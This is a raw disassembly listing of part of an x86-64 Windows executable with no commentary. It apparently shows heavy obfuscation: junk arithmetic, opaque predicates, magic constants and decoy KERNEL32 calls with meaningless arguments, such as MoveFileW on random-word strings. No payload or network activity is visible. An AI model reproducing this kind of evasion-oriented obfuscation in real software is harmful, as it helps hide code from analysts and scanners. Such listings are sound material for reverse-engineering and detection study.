movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2808]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x143c]
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x27a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x404], ax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x404], ax
movsx eax, byte [0x1400b9e10]
xor eax, 0x57
mov byte [0x1400b9e10], al
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sar eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movabs rax, 0x145e0648fb83d47c
mov rcx, qword [rsp + 0x2800]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov eax, dword [rsp + 0x1450]
sub eax, 0x5d
mov dword [rsp + 0x1450], eax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x27e0]
mov qword [rsp + 0x2820], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2820]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x143c]
and eax, 0x3d50bebc
mov dword [rsp + 0x142c], eax
movzx eax, byte [rsp + 0xa9]
add eax, 0xe2
mov byte [rsp + 0xa8], al
movzx eax, byte [rsp + 0xa8]
sub eax, 0x5d
mov byte [rsp + 0xa9], al
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov rax, qword [0x1400b9008]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x404], ax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2808]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x27a8], rax
mov eax, dword [rsp + 0x143c]
add eax, 0x74ed058e
mov dword [rsp + 0x142c], eax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movabs rax, 0x418ac20810dbd36e
mov rcx, qword [rsp + 0x2800]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sar eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x27e0]
mov qword [rsp + 0x2828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2828]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5b8], ax
mov eax, dword [section..data]
and eax, 0x3bfaa440
mov dword [section..data], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x27a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2808], rax
cmp dword [rsp + 0x1450], 0x9b37
jae 0x140002791
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0x145c], al
cmp byte [rsp + 0x145c], 0x52
je 0x140002bd2
cmp byte [rsp + 0x145c], 0xc3
je 0x140002c86
jmp 0x140002d4a
mov rax, qword [rsp + 0x2800]
mov qword [rsp + 0x2830], rax
movabs rax, 0x1c750577ef000710
cmp qword [rsp + 0x2830], rax
je 0x140002c0c
movabs rax, 0x4ada6d58d5364fb3
cmp qword [rsp + 0x2830], rax
je 0x140002c61
jmp 0x140002c76
mov eax, dword [section..data]
mov dword [rsp + 0x1460], eax
lea rax, [rsp + 0x142c]
mov qword [rsp + 0x2838], rax
lea rax, [rsp + 0x2800]
mov qword [rsp + 0x2840], rax
lea rax, [rsp + 0x27a8]
mov qword [rsp + 0x2848], rax
mov dword [rsp + 0x1464], 0x7d5c
mov dword [rsp + 0x1468], 0x9c83
jmp 0x140002c76
mov rcx, qword [rsp + 0x2850]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x146c], eax
mov dword [rsp + 0x1470], 0x1c30
jmp 0x140002d4a
mov eax, dword [rsp + 0x143c]
mov dword [rsp + 0x1474], eax
cmp dword [rsp + 0x1474], 0x70831256
je 0x140002ca3
jmp 0x140002cc5
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
jmp 0x140002d2d
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov word [rsp + 0x5bc], ax
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
movsx eax, byte [0x1400b9e10]
add eax, 0x3b
mov byte [0x1400b9e10], al
lea rdx, str.shiresCarouseIndisputable
lea rcx, str.milliseconds_slingshotStoppingHumbles
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [rsp + 0x1478], eax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
mov dword [rsp + 0x147c], 0x2bd7
mov dword [rsp + 0x1480], 0xd04a
mov rax, qword [rsp + 0x2838]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
sub eax, ecx
cmp eax, dword [rsp + 0x142c]
jge 0x140002e37
lea rax, [rsp + 0x404]
mov qword [rsp + 0x20], rax
mov r9d, 0xe5
mov r8d, 0xb0
mov edx, 0xf9
mov rcx, qword [rsp + 0x2858]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x146c], eax
mov eax, dword [rsp + 0x142c]
mov rcx, qword [rsp + 0x2838]
mov qword [rsp + 0x2860], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2860]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x143c], eax
movabs rax, 0x282d83833f40d32a
mov rcx, qword [rsp + 0x2800]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x2868], rax
mov dword [rsp + 0x1484], 0x43aa
mov eax, dword [rsp + 0x1460]
mov dword [rsp + 0x1488], eax
cmp dword [rsp + 0x1454], 0x41c2
jbe 0x1400031a0
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x404]
or eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2838]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x25f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x2840]
movabs rcx, 0x6675e1e9e74e5ce7
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2800], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1460]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x404], ax
movzx eax, byte [rsp + 0xa8]
sub eax, 0xcc
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
and eax, ecx
mov word [rsp + 0x5b8], ax
mov eax, dword [rsp + 0x1454]
sub eax, 0x2c
mov dword [rsp + 0x1454], eax
movzx eax, byte [rsp + 0xa8]
shl eax, 1
mov byte [rsp + 0xa9], al
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
sar eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movabs rax, 0x400c6c4afe50f6a6
mov rcx, qword [rsp + 0x2800]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov eax, dword [rsp + 0x143c]
mov ecx, dword [rsp + 0x142c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
movabs rax, 0x6910ff8edbc90139
mov rcx, qword [rsp + 0x2800]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
and eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1460]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
jmp 0x140002e50
movzx eax, word [rsp + 0x404]
mov word [rsp + 0x5c0], ax
mov dword [rsp + 0x148c], 0x7405
mov dword [rsp + 0x1490], 0x56e4
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x148c]
add eax, 0xe
mov dword [rsp + 0x148c], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x404]
or eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
shl eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
and eax, 0xe2
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2838]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [0x1400b9008]
mov rcx, qword [rsp + 0x25f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
movabs rcx, 0x539be87bf973c2f7
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov word [rsp + 0x5bc], ax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x404]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1488]
mov ecx, dword [rsp + 0x1460]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2838]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2808]
movzx ecx, al
mov rax, qword [rsp + 0x27a8]
shr rax, cl
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x1460]
shl eax, cl
mov dword [rsp + 0x1488], eax
movabs rax, 0x31beaaf5ac7024c3
mov rcx, qword [rsp + 0x2800]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5c0], ax
movzx eax, byte [rsp + 0xa8]
sub eax, 0x87
mov byte [rsp + 0xa9], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1460]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov eax, dword [rsp + 0x1488]
mov ecx, dword [rsp + 0x1460]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x404]
and eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
cmp dword [rsp + 0x148c], 0x7777
jbe 0x1400031c6
movzx eax, word [rsp + 0x404]
mov dword [rsp + 0x1494], eax
cmp dword [rsp + 0x1494], 0
je 0x140003566
cmp dword [rsp + 0x1494], 0x580
je 0x1400034b8
jmp 0x1400036f1
movzx eax, byte [rsp + 0xa9]
imul eax, eax, 0x13
movzx ecx, byte [rsp + 0xa8]
cmp eax, ecx
jg 0x1400034f3
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2838]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x142c], eax
mov rcx, qword [rsp + 0x2850]
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov dword [rsp + 0x1498], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1488]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1460], eax
call fcn.14009fa10
nop
jmp 0x1400036f1
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x404]
or eax, ecx
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
mov dword [rsp + 0x149c], ecx
mov rdx, qword [rsp + 0x27c8]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x149c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1400036d0
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0x14a0], al
cmp byte [rsp + 0x14a0], 0x6f
je 0x1400036a6
cmp byte [rsp + 0x14a0], 0xfd
je 0x1400035d7
jmp 0x1400036c3
mov r9d, 0x1d
lea r8, [rsp + 0x2800]
mov rdx, qword [rsp + 0x2870]
mov rcx, qword [rsp + 0x2868]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x1498], eax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
shl eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov eax, dword [rsp + 0x1460]
mov dword [rsp + 0x14a4], eax
cmp dword [rsp + 0x14a4], 0x623b2561
je 0x140003696
cmp dword [rsp + 0x14a4], 0xcab0a903
je 0x14000364c
jmp 0x1400036a4
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
and eax, ecx
mov word [rsp + 0x404], ax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx ecx, byte [rsp + 0xa9]
call fcn.1400a0b80
nop
jmp 0x1400036a4
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x2850], rax
jmp 0x1400036c3
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov dword [rsp + 0x14a8], 0x4466
jmp 0x1400036f1
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2808], rax
mov eax, dword [rsp + 0x14a8]
sub eax, 0xcd
mov dword [rsp + 0x14a8], eax
movabs rax, 0x3485b6ae67ebca0d
mov rcx, qword [rsp + 0x2800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov eax, dword [rsp + 0x143c]
mov ecx, dword [rsp + 0x142c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
add eax, 0xb3
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov eax, dword [rsp + 0x1488]
movzx ecx, al
mov eax, dword [rsp + 0x1460]
shr eax, cl
mov dword [section..data], eax
mov rax, qword [rsp + 0x2838]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1460]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x142c]
shl eax, cl
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [0x1400b9008]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa9]
sub eax, 0x14
mov byte [rsp + 0xa8], al
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x2808]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1488]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1460], eax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
movabs rcx, 0x443f6201b211d617
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2800], rax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sar eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
shl eax, cl
mov word [rsp + 0x5b8], ax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2840]
movabs rcx, 0x4cb224159acc79e6
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x27a8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x25f0], rax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
shl eax, cl
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x404]
xor eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2800]
sar rax, 0x3d
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2808], rax
movabs rax, 0x2760741fabfbf428
mov rcx, qword [rsp + 0x2800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x404]
and eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x25f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2808]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [rsp + 0x25f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [0x1400b9008]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2800]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
cmp dword [rsp + 0x14a8], 0x145a
ja 0x1400036f1
lea rax, [rsp + 0x143c]
mov qword [rsp + 0x2878], rax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov dword [rsp + 0x14ac], eax
cmp dword [rsp + 0x14ac], 0x19e2c3e
je 0x140003da9
cmp dword [rsp + 0x14ac], 0xc500084
je 0x140003ce4
jmp 0x140003ed9
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
sub eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
mov rax, qword [0x1400b9008]
movzx ecx, al
mov rax, qword [rsp + 0x27a8]
shl rax, cl
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x2808]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x140003d56
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5c0], ax
jmp 0x140003da4
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
or eax, ecx
movsx ecx, word [rsp + 0x5b8]
cmp eax, ecx
jl 0x140003da4
mov r8, qword [rsp + 0x2880]
mov edx, pe_nt_image_headers64
mov ecx, 0x3d
call qword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov dword [rsp + 0x14b0], eax
movzx ecx, byte [rsp + 0xa8]
call fcn.1400a0b80
nop
jmp 0x140003ed9
movsx eax, word [rsp + 0x5b8]
mov dword [rsp + 0x14b4], eax
